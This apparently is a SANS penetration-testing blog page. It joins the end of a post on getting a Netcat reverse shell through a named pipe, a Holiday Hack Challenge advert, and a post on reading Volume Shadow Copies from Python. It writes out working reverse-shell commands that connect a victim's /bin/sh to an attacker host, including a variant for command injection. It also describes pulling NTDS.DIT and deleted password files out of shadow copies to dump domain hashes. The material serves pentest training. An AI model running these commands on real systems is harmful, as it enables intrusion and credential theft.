In effect, I was going to implement a traditional Netcat relay (which I described in detail, along with a bunch of other crazy Netcat relays, on the Pauldotcom podcast episode 195 here), but instead of relaying from a Netcat listener to a Netcat client, I can relay from a shell to a Netcat client.  Check it out:

As before, we start with a Netcat listener waiting for the inbound shell:

skodo@pentestbox# nc -nvlp 443

Now, on the target machine, I inject the following commands:

victim$ mknod /tmp/backpipe p 
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe

Here, I’ve first made a named pipe (also called a FIFO) called backpipe using the mknod command.  The mknod command lets me create things in the file system, and here I’m creating something called “backpipe” that is of type “p”, which is a named pipe.  Alternatively, we could have used the mkfifo command available on some Linuxes and Unix variants, leaving off the p option.  This FIFO will be used to shuttle data back to our shell’s input.  I created my backpipe in /tmp because pretty much any account is allowed to write there.

Then, I invoke my shell (/bin/sh), the most common shell available on all kinds of Linuxes and Unixes, pulling its Standard Input from the backpipe (0</tmp/backpipe).  I pipe the output of /bin/sh (|) to my Netcat client.  That Netcat client connects to the pentestbox on port 443 (nc pentestbox 443).  I then take Netcat’s Standard Output and dump it into the backpipe (1>/tmp/backpipe).  On most shells, you can dispense with the 0< and 1> syntax, but on occasion, I’ve seen some weird shells where it doesn’t work unless you use 0< and 1>.  I always throw them in, just to make sure it’ll work.

On the pentestbox machine, it proceeds pretty much like before:

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]
whoami 
apache
hostname 
victim

But, What If You Have Raw Execution and You’re Not in a Shell?

Now, there’s one more thing to keep in mind.  All of this redirect craziness (0<, |, and 1>) depends on there being a shell in which we’re invoking the whole command on the victim machine.  If you have raw command injection, in which you can execute arbitrary programs on the target machine, but without a shell (sometimes that happens with very vulnerable web apps), you’ll have to modify the command just a bit.  You’ll need to invoke your own shell on the local target box (/bin/sh), which then in turn (using the -c option) invokes the backdoor shell (another /bin/sh) and all the great redirect stuff to invoke Netcat.  Do that by injecting the following command:

/bin/sh -c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"

So, there you have it… a way to make a Netcat behave as though it has a -e or -c option, even though it doesn’t, all by leveraging some wonderful shell redirects.

If you like this kind of thing, I recommend you take my SANS Network Penetration Testing and Ethical Hacking Course (SANS Security 560).

Thanks for reading!

–Ed Skoudis.

//
SANS Fellow and Pen Test Curriculum Lead
Founder, Counter Hack

* I have found it very helpful to identify a place as “magical” for the purpose of crazy, whimsical, and useful idea formation.  Additionally, it’s nice to have a time of day that you consider especially ripe for ideation.  When there or then, tell yourself that you are now in the zone when ideas will happen, and your brain will be more likely to come up with interesting ideas.  In a cynic’s view, you are tricking yourself to come up with ideas.  Or, from the optimist’s point of view, you are setting the stage for your soul to sour.

The place and time don’t have to line up.  In fact, it’s best if they don’t, as you’ll get more chances for ideas.  For me, the place is that Magical Olive Garden in Eatontown, NJ, which I go to for dinner.  But, the time is dawn, just as the sun is rising, when I’m on my morning walk.  Much magic then!

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Using Volume Shadow Copies from Python

[Editor’s note: Volume Shadow copies on Windows completely rock.  They give administrative tools (and penetration testers) access to all kinds of wonderful things on Windows, including recently deleted files, files with a lock on them, and much more.  They are almost like a nifty side channel into the guts of the Windows file system, making it ripe for exploration, research, and pwnage with a heavy does of plundering mixed in for good measure.  Mark Baggett has been one of the main gents (along with Tim Tomes) leading the charge in researching how pen testers can use Volume Shadow copies.  In this post, Mark shows how you can use Python to interact with Volume Shadow copies, so you can explore them in-depth.  After describing how to list, create, and access such copies from Python, he provides a nifty Python script called vssown.py that does all the work for you.  I’m hoping that the info Mark provides here inspires readers to start more aggressive analysis of Volume Shadow copies from their own interactive Python shells to reveal more cool pen test uses of Volume Shadow copies. –Ed.]

Volume Shadow copies are immensely useful to penetration testers, often containing a treasure trove of valuable information.  What if the domain administrator knows the penetration testers are coming, so he deletes “passwords.txt” from his desktop?  No problem!  The password file is sitting there waiting for you in the volume shadow copies. Files such as NTDS.DIT (the Active Directory Database) can be locked up by the operating system so you can’t safely get to them.  With Volume Shadow copies, no problemo!  You can create a new volume shadow copy and grab the file from the copy and plunder it for hashes from anyone in the domain.  If you are still not convinced, check out these posts that demonstrate the ever-loving-sweetness of Volume Shadow Copies.

http://pauldotcom.com/2012/10/volume-shadow-copies—the-los.html

http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html

http://lanmaster53.com/2013/03/taming-the-stubborn-tomcat/

The bad news is that there are not a lot of great libraries out there that use Volume Shadow copies in Python. The good news is that you can use the win32com module and the Component Object Model (COM) to interface with the WIN32_ShadowCopy service and do everything you need to do.  BUT (more bad news here) using COM within Python is a pain in the tushie.  The interface to COM objects is less than intuitive, and not easily accessible. BUT (ahhh… a lil’ more good news), I’ve done the hard part for you.  If you are creating a Python-based executable for Windows, and you need it to access Volume Shadows copies, this article will make your life a bit easier. Let’s start with the easy stuff.

To get a list of the Volume Shadow copies on the system is pretty simple.   You can take the code from vssown.vbs, lookup the corresponding python statement, and translate the code to Python.  (VSSOWN.VBS is downloaded here: http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs).    After creating a scripting object and connecting to the server, you use ExecQuery to pull a list of all the Volume  Shadow Copies on the system.   Then you can use a for loop to step through each of the shadow copies and pull the “DeviceObject” attribute.   The DeviceObject attribute is what you will use to access the data in the Volume Shadow Copies.

Some excellent sample code with a list of all the attributes you can access is available here:  http://www.activexperts.com/admin/scripts/wmi/python/0274/

Creating a Volume Shadow Copy is more difficult.   To do so, we have to call the “Create” method of the Win32_ShadowCopy COM object and, as I mentioned, documentation on the API is somewhat lacking.  Anytime I am trying to learn something new in Python (or much of my penetration testing, for that matter), I experiment with it in a Python Shell.  The interactive shell lets you experiment with objects’ methods and attributes and see what they are used for, all in real-time, interactively.  First, we import the required module and create an object called “wmi” that points to a “Win32_ShadowCopy” COM object.  This can be done with two simple lines of code.

import win32com.client
wmi=win32com.client.GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_ShadowCopy")

We want to call the “create” method for this Win32_ShadowCopy object.  To execute a module, you use wmi object’s ExecMethod() method.  For example: “wmi.ExecMethod(<method name> , <com object parameters>)”.  The first argument is a string containing the target method’s name.  The second argument is a COM object that contains the target method’s parameters.  Setting those method parameters can be a bit confusing.  Even knowing the correct parameters isn’t straight forward.

Here is how I did it.  Remember, wmi points to a Win32_ShadowCopy object.  First, I create an object called “createmethod” that points to the “Create” method on that object.  Then, I create an object called “createparams” that points to the create methods parameters.  After that, you can use the “createparams” object to examine the parameters and set their values.  Here is an example:

“CreateMethod” points to the “Create” method for the Win32_ShadowCopy object.    “CreateParams” points to the input parameters for the Create method.  Then, I use list comprehension to examine the names of each of the input parameters. The names of the parameters are stored in the .name attribute.  Here you can see that Create method requires a parameter called “Context” and one called “Volume”. “Context” is in the first position in the list, while “Volume” is in the second.  Then I use list comprehension to examine the current values for each of these parameters.  You can see that the “Context” is set to “ClientAccessible” and that the “Volume” is set to “None”.  If you examine the MSDN page for this object you will see that we have to specify a drive letter in the “Volume” parameter.  I want the volume to be set to “C:\\”.  So I set the value and check it again.

Now I can call ExecMethod() and retrieve the result.   The result will be in the “Properties_”  attribute in the form of a list of  COM Objects.    The “.value” of the first item in the list is the response code.     You can find a reference for all of the response codes here:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa394428%28v=vs.85%29.aspx

If the response code is a zero, then the 2nd item in the list will contain the ID for the new Volume Shadow Copy.

So my new shadow copy ID number is 4CDDDE4F-4B00-49FE-BF07-1D89B3325ADD.   Let’s check it with VSSADMIN to see if it was really created.

To check which volume copies exist we type “vssadmin list shadows”.  At the bottom of the list we should see our new shadow copy.

It is there!  We created a Volume Shadow Copy!  Note the matching Shadow Copy ID.   Put all that together and we get the following function to create a volume shadow copy.

Now, here is the best part.  You don’t have to do ANYTHING special to access data stored in the volume shadow copies.   Dude… read that again.  That is awesome.  Thank you, Volume Shadow copies and Python!  You can read from them just like you would any other file in the file system.  NOTE:  Shadow Copies are read only and cannot be written to with any utilities.

So, if you want to see if a file exists you can do that using standard Python file-system-interaction techniques:

If you want to open a file and read the file contents, you just treat it like any other file:

As a matter of fact, the only two functions I really need to do just about anything I want with Volume Shadow copies are vss_list() and vss_create().    These functions can be easily adapted if you do need something else.

If you just want someone to write a script for you that does all this, simply ask and ye shall receive.  Well, you don’t even have to ask.  I already did it for ya.  Here you go.  Feel free to grab a copy of my vssown.py script, which does all the heavy lifting for you to list, create, and then interact with Volume Shadow copies, all within your comfy interactive Python shell or from within your own scripts.  Just download that txt file and shave off the .txt suffix.

Here is what it looks like when you run the vssown.py script.   Remember, you need admin privs to access the Volume Shadow Copy Service.

If you want to learn how to use techniques like this in your own programs, then check out my brand spanking new SANS course, SEC573 Python For Penetration Testers.   Here are some upcoming dates for the class:

http://www.sans.org/course/python-for-pen-testers

–Mark Baggett

Follow me on twitter:  @MarkBaggett